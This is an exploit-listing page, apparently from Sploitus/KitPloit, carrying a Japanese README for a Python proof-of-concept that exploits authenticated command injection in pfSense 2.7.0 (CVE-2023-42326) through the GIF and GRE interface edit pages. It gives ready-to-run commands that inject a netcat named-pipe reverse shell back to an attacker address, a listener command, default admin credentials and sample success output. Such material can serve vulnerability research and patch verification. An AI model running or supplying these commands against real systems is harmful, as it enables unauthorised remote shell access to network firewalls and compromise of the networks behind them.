Sploitus

Exploit for CVE-2023-42326

kitploit · 2026-09-05

Exploit Code

MARKDOWN128 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BL4CKARCH-CVE-2023-42326
# pfSense 2.7.0 コマンドインジェクションエクスプロイト (CVE-2023-42326)

このPythonスクリプトは、pfSense 2.7.0のコマンドインジェクション脆弱性(CVE-2023-42326)に対する概念実証(PoC)エクスプロイトです。この脆弱性により、認証された攻撃者は `interfaces_gif_edit.php` および `interfaces_gre_edit.php` コンポーネントを介して任意のコマンドを注入し実行できます。

## 機能

  * エクスプロイトモード選択(`gif` または `gre`)により、脆弱なコンポーネントを選択します。
  * 任意のシェルコマンドを実行するコマンドインジェクション機能。
  * 自動スレッド管理によるNetcatリバースシェル処理。
  * リクエストデータの可視性を高めるデバッグモード。



## 前提条件

スクリプトを実行する前に、以下の準備を確認してください:

  * システムにPython 3.xがインストールされていること。
  * 必要なPythonライブラリがインストールされていること: 

root@kitploit:~
        
        pip install requests beautifulsoup4 rich
        




## 使用方法

### 基本的な例(コマンドインジェクション)

以下のコマンドは、あなたのマシンにリバースシェルを作成するシェルコマンドを注入します:

root@kitploit:~
    
    
    python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
    

  * `-u`: pfSense管理ログインのユーザー名。
  * `-p`: pfSense管理ログインのパスワード。
  * `--mode`: エクスプロイトモード(`gif` または `gre`)。
  * `-t`: pfSenseのターゲットURL。
  * `-c`: 注入するシェルコマンド。
  * `-d`: (オプション)デバッグモードを有効にし、生の応答データを表示します。



### リバースシェルの例

お使いのマシンでNetcatリスナーが実行されていることを確認してください:

root@kitploit:~
    
    
    nc -lvnp 80
    

次に、以下のようなリバースシェルコマンドでスクリプトを実行します:

root@kitploit:~
    
    
    python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"  --insecure(for https without valid ssl)
    

### デモGIF

  1. **pfSenseにログインしてGIFインターフェースをエクスプロイト**

![デモ1 - GIFインターフェース](https://assets.kitploit.com/production/public/readmes/23366/dcc3c97c63690f7dbe5f2f9a9749062fee08e8129c258dd4c25bdaf767061d84.gif)

  2. **リバースシェルの実行**

![デモ2 - リバースシェル](https://assets.kitploit.com/production/public/readmes/23366/ea2624b75a97748ea60f827de8572b4029b25fe91a17cb87b951693d41e1ea93.png)




### スクリプトオプション

### 出力例

エクスプロイトが正常に実行されると、次のような出力が表示されます:

root@kitploit:~
    
    
    ██████╗ ███████╗██████╗ ██╗    ██╗███╗   ██╗███╗   ███╗███████╗
    ██╔══██╗██╔════╝██╔══██╗██║    ██║████╗  ██║████╗ ████║██╔════╝
    ██████╔╝█████╗  ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗  
    ██╔═══╝ ██╔══╝  ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝  
    ██║     ██║     ██║     ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
    ╚═╝     ╚═╝     ╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═╝     ╚═╝╚══════╝
    
    Done with ❤️  by @bl4ckarch                                                            
    [2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
    [2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
    [2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
    [2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
    [2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully
    

### 注意事項

  * **権限要件** : pfSenseインスタンスに対する有効な管理者認証情報が必要です。
  * **対象システム** : このエクスプロイトはpfSense 2.7.0に固有のものです。
  * **リバースシェル** : リバースシェルを設定する際は、ファイアウォール設定で指定したポートへの着信接続を許可してください。



### デバッグモード

送信されているリクエストの詳細を確認したい場合は、コマンドに `-d` を追加してデバッグモードを有効にできます。これにより応答データが出力され、問題のトラブルシューティングに役立ちます。

root@kitploit:~
    
    
    python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)
    

### トラブルシューティング

  * ターゲットシステムに到達可能であることを確認してください。
  * ログインに使用する認証情報を再確認してください。
  * 必要に応じて、`-d` フラグを使用してより詳細なログを取得してください。